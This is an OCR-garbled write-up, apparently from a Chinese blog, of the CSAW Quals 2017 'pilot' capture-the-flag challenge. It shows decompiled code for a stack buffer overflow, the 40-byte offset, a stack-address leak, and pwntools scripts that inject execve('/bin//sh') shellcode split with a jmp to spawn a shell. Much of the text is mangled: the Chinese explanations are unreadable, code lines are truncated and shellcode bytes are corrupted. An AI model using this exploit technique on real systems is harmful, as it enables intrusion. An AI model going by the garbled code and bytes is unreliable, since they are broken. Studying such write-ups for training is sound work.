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wby@wby-virtual-machine:~/Desktop/CTF/pwn AW Quals CTF 2017-pilotS file pilot
pilot: ELF 64-bit LSB executabl Xx86 ersion 1 (SYSV), dynamically linked, interpreter /flib64
/1, for GNU/Linux 2.6.32, Build 5hal] Ocd20343b94fd3ff1dd15904@4100df?2c01dc0c stripped
wbymwby virtual- machlne ~fDeskt C ) AW Quals CTF pilots checkScc pilot
[*] }homcfwbnycsktoijTFfpwnl}@xosz%Aw Qu CTF 2017-pilot/pilot’
Arch: amd64-64-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
RIWX:
wby@wby-virtual-machine:~/Desktop/CTF/pwnl/ AW Quals CTF 2017-pilot$ ./pilot
[*]Welcome DropShip Pilot...
[*]1I am your assitant A.I....
[#]1I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions
to save Marincs & Medics...

[i* ]Locatlon ox7ffd42ebocae
[*]Command: s

[*]There are no commands....
[*]Mission Failed....
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setvbuf(stdout, @LL, 2, OLL);
setvbuf(stdin, @LL, 2, @LL);

4 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Welcome DropShip Pilot...");
std: :ostream: :operator<<(v3, &std::endl<char,std::char_traits<char»>);

vd = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I am your assitant A.I....");
std: :ostream: :operator<<(v4, &std::endl<char,std::char_traits<char»>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I will be guiding you through the tutorial....");

std::ostream: :operator<<(v5, &std::endl<char,std::char_traits<char>>);
vE = std::operator<<<std::char_traits<char>>(
&std::cout,
"[*]As a first step, lets learn how to land at the designated location....");
std::ostream: :operator<<(v6, &std::endl<char,std::char_traits<char>>);
7 = std::operator<<«<std::char_traits<char>>(

&std: :cout,

"[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...");
std::ostream: :operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Good Luck Pilot!....");

std::ostream: :operator<<(v3, &std::endl<char,std::char_traits<char>>);

O = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Location:");
[v1io = std::ostream::operator<<(vd, &but); |
std::ostream: :operator<<(v10, &std::endl<char,std::char_traits<char>>);
std: :operator<<<std: :char_traits<char>>(&std: :cout, "[*]Command:");
|if ( read(8, &but, @x4bull) > 4 ) |

return @LL;

v11l = std::operator<<<std::char_traits<char>>(&std::cout, "[*]There are no commands....");
std::ostream: :operator<<(v1l, &std::endl<char,std::char_traits<char>>);
vl2 = std::operator<<<std::char_traits<char>>(8std::cout, "[*]Mission Failed....");

std::ostream: :operator<<(v12, &std::endl<char,std::char_traits<chars>);
return OxFFFFFFFFLL;

}
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pattern offset AABA
AABA found at offset: 40
X/20wx Ox7Fffffffdcao

Ox7fffffffdcad:
ax7fffffffdcbo:
Ox7fffffffdcco:
ax7fffffffdcdo:
Ox7Tffffffdced:

0x25414141
0x41434141
0x41412941
0x31414162
Oxf7ce98bO

Ox41734141
0x41412d41
0x61414145
0x41474141
0x00000001

0x41414241
0x44414128
0x41304141
0x41416341
0x004009a6

0x6e414124
0x413b4141
0x41414641
0x48414132
9x00000000

[*]Location:ex7fffffffdcaod
[*]Command : AAAKAASAABAASA
SAAKAAQAABAAL
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from pwn import

context.update(arch , timeout 1)

io = process(

shellcode




print io.recvuntil(
shellcode_address_at_stack (io.recv()[0:14], 16)

, shellcode_address_at_stack)

shellcode
(ox28 (shellcode))
p64(shellcode address at stack)

io.send(payload)
io.interactive()
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wby@wby-virtual-machine:~/Desktop/CTF/pwnl/0x02/CSAW Quals CTF 2017-pilot$S pytho
n myexp_fT.py

[+] Starting local process './pilot': pid 68856

[*]Welcome DropShip Pilot...

[*]1I am your assitant A.I....

[*]TI will be guiding you through the tutorial....

[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequen
ce of instructions to save Marines & Medics...

[*]Location:
[*] Leak stack address = 7fffeafeocfe
[*] Switching to interactive mode

Got EOF while reading in interactive hitps://blog.csdn.net/m0_381005690

FEmaineR $ )R B 15 % 4b T Wi, 7E IS o in A gdb i attachi® &) I T -5 A 32 B K

7 kontext.log level = 'debug'

33 gdb.attach(io, 'b
34 pause()

Wi TJa, "LLE Elshellcode I EA TR E, #EF BRI PAT IR

i
ex7fffa13969b6

00:0000( rsi rsp Ox7 31396946 Ox622f2fbb48d23148
01:0008 O] a1 a8 Oxebc14868732f6e69
02:0010 OX 313969b6 0x485750e789485308
03:0018 e 0x909005073bboe689
04:0020 0x9690909090909090

.




Open ~

1 #!fusrfbinfpython
2 #coding:utf-8

3

4 from pwn import *

5

6 context.update(arch = 'amdé4', os = 'linux', timeout = 1)
7 context.log_level = 'debug'

8

9 #lo = remote('172.17.0.3', 100801)
10 io = process('.fpilot')
11
12 shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2F\x73\x68\x48\xc1\xeh
\ 08\ %53\ x48\xB9\ xe7\ x50\ x57\ x48\x89\ xe6\xbO\ x3b\ x0T\ x65"

BIBIAT KB, push rdith4 2 J5 Kishellcode#i B i 1 VAT

Ox7fffal3969ad
ex7fffal3g69bi
ex7fffal3g69bz

Ox7fffal13969b5
Ox7fffal13969b6
> Ox7TTTa13969b7

X AR B e RN B AT R K R 0x40=64, HIAZIRIPHIEE 240, TiRIRKshellcodet & 245 Fi/MAZ, FrlAw] LR
shellcodeZ AP TR, ANEHPOE BT HBAERL, SPEHRNBAERPERKME. HERIXFRTE K HESIEND &
BHRERIAT . BR T EFMHBEFEELImpst, HRKIBE IS QWU FFHRE . R AE H A —KimpE<:

|. text:0000000000400B2D imp short locret 400B34
HEXHE K& :
‘@@@@@@@@@@4@@32@ A48 89 C7 E8 58 FD FF FF B8 FF FF FF FF [Siis] BE H...X...........

XARMpE B E AT, BIETDANEB, 05&jmpZEHI%E —4184 2Bk SMEER . shellcode KA B Hshellcode2 ) FF 3k 2 [8]
KmBER40-22-2+8=24=0x18, WMEEWIERTES N \XEB\X18’

int main(void)

{
char shellcode[] =

"4y x 31 xd2” £ xor Yrdx, %rdx
xdBh xbbh 2 f k2P kB A0 kB x 2f kT3 xR f/f mov F0xB37I2E6eB0R22 121, Yrbx
"xdfhxclixebx 08" i/ shr $0x8, %rbx
"y x537 /f push  %rbx
A8 80 xe T f/f mov Yrep, %rdi
"y x507 /f push  %rax
W xBTT /f push  %rdi
xd8h 80 xeh” f/f mov Yrep, %rsi
b0y x3b” £ mov $0x3b, %al
Y x0fY %057 /i syscall
payloadZH k:

1. shellcode1 (% push %rax+ jmp ox18 &4
2. padding ( 0x10 Bytes)

3. shellcode_address_at_stack (shellcode13#iht)



4. shellcode2 (push %rdi Z syscall)

0x02 EXP

from pwn import

context.update(arch , timeout = 1)

process(

shellcode

shellcodel
shellcodel
shellcode2

print io.recvuntil(
shellcode address_at stack (io.recv()[0:14], 16

, shellcode_address_at_stack)

shellcodel

(ox28 (shellcodel))
p64(shellcode address_at stack)
shellcode2

io.interactive()
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